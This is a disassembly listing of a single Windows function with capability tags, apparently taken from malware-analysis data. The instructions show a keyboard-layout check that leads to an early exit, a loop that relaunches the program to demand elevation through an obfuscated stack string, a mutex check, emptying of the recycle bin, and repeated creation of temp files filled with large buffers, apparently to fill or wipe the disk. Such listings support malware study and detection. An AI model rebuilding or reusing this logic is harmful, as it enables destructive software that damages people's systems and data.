Function at 0x422c70
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Get common file path
Get keyboard layout
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3d56
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x4c9100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push 0
push 0
call esi
mov dword [ebp - 0x23c], eax
mov ecx, 4
mul ecx
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call fcn.00461957
add esp, 4
mov edi, eax
push edi
push dword [ebp - 0x23c]
call esi
test eax, eax
je 0x422d02
mov edx, dword [ebp - 0x23c]
xor ecx, ecx
test edx, edx
jle 0x422d02
mov esi, 0x429
nop word [eax + eax]
movzx eax, word [edi + ecx*4]
cmp ax, si
je 0x422edb
inc ecx
cmp ecx, edx
jl 0x422cf0
push 4
push edi
call fcn.004615bb
add esp, 8
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x422ee3
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
je 0x422ee3
movsd xmm0, qword [0x4bf960]
lea ecx, [ebp - 0x230]
movsd qword [ebp - 0x238], xmm0
call fcn.0043d770
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x228]
mov byte [ebp - 0x228], 0
mov byte [ebp - 0x227], 0x54
mov byte [ebp - 0x226], 0x11
mov byte [ebp - 0x225], 0x31
mov byte [ebp - 0x224], 0x11
mov byte [ebp - 0x223], 0x2e
mov byte [ebp - 0x222], 0x11
mov byte [ebp - 0x221], 0x71
mov byte [ebp - 0x220], 0x11
mov byte [ebp - 0x21f], 0x1e
mov byte [ebp - 0x21e], 0x11
push 5
mov byte [ebp - 0x21d], 0x11
mov byte [ebp - 0x21c], 0x11
mov al, byte [ebp - 0x227]
push 0
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00443fb0
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push eax
push 0
call esi
cmp eax, 5
jne 0x422ed3
push ecx
lea ecx, [ebp - 0x244]
call fcn.00444010
push eax
lea ecx, [ebp - 0x230]
call fcn.0043d780
lea ecx, [ebp - 0x244]
call fcn.0042b090
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
nop
movsd xmm0, qword [ebp - 0x238]
call fcn.004621e0
push eax
call edi
movsd xmm0, qword [ebp - 0x238]
lea ecx, [ebp - 0x228]
mulsd xmm0, qword [0x4bf958]
push 5
push 0
push 0
movsd qword [ebp - 0x238], xmm0
mov byte [ebp - 0x228], 0
mov byte [ebp - 0x227], 0xe
mov byte [ebp - 0x226], 0x44
mov byte [ebp - 0x225], 0x2e
mov byte [ebp - 0x224], 0x44
mov byte [ebp - 0x223], 0x38
mov byte [ebp - 0x222], 0x44
mov byte [ebp - 0x221], 2
mov byte [ebp - 0x220], 0x44
mov byte [ebp - 0x21f], 0x43
mov byte [ebp - 0x21e], 0x44
mov byte [ebp - 0x21d], 0x44
mov byte [ebp - 0x21c], 0x44
mov al, byte [ebp - 0x227]
lea eax, [ebp - 0x218]
push eax
call fcn.00443f70
push eax
push 0
call esi
cmp eax, 5
je 0x422e10
push 0
lea ecx, [ebp - 0x230]
call fcn.0043d7c0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 1
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
xorps xmm0, xmm0
mov dword [ebp - 0x24c], 0
push 0x24
push str.4B991369_7C7C_47AA_A81E_EF6ED1F5E24C
lea ecx, [ebp - 0x25c]
movlpd qword [ebp - 0x230], xmm0
movups xmmword [ebp - 0x25c], xmm0
mov dword [ebp - 0x248], 0
call fcn.00423230
cmp dword [ebp - 0x248], 0xf
lea eax, [ebp - 0x25c]
cmova eax, dword [ebp - 0x25c]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [ebp - 0x230], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
cmp esi, 0xb7
setne byte [ebp - 0x22c]
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x248]
cmp ecx, 0xf
jbe 0x422f96
mov edx, dword [ebp - 0x25c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x422f8c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423199
push ecx
push edx
call fcn.004615bb
add esp, 8
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp esi, 0xb7
jne 0x422fc1
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call fcn.00424900
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea ecx, [ebp - 0x228]
call fcn.00435900
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x224]
mov esi, dword [ebp - 0x228]
cmp esi, edi
je 0x422fff
mov ecx, esi
call fcn.0043dad0
add esi, 0x18
cmp esi, edi
jne 0x422ff1
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 1
call fcn.0042d3d0
call fcn.0043dd70
call fcn.00443910
call fcn.004408b0
lea ecx, [ebp - 0x228]
call fcn.00436220
mov edi, dword [ebp - 0x224]
mov esi, dword [ebp - 0x228]
cmp esi, edi
je 0x423046
mov ecx, esi
call fcn.00440d10
add esi, 0x18
cmp esi, edi
jne 0x423038
lea ecx, [ebp - 0x228]
call fcn.0042d3d0
call fcn.0042c470
call fcn.0043ecb0
call fcn.004424a0
call fcn.00440ed0
lea ecx, [ebp - 0x228]
call fcn.0042bff0
mov esi, dword [ebp - 0x228]
mov eax, dword [ebp - 0x224]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x240], eax
cmp esi, eax
je 0x42315c
cmp dword [esi + 0x14], 7
mov eax, esi
jbe 0x4230a0
mov eax, dword [esi]
lea ecx, [ebp - 0x218]
push ecx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameW]
test eax, eax
je 0x42315c
push 2
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0
push 0x24000002
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x423156
push 4
push 0x3000
push 0x80000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
push 0
lea eax, [ebp - 0x234]
push eax
push 0x80000
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x423105
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push 0x8000
push 0x80000
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov esi, dword [ebp - 0x23c]
add esi, 0x18
mov dword [ebp - 0x23c], esi
cmp esi, dword [ebp - 0x240]
jne 0x423096
jmp 0x42315c
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x228]
call fcn.0042d3d0
call fcn.00443c80
mov esi, dword [ebp - 0x230]
push esi
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
push esi
call edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046157d
mov esp, ebp
pop ebp
ret
call fcn.0048347f
int3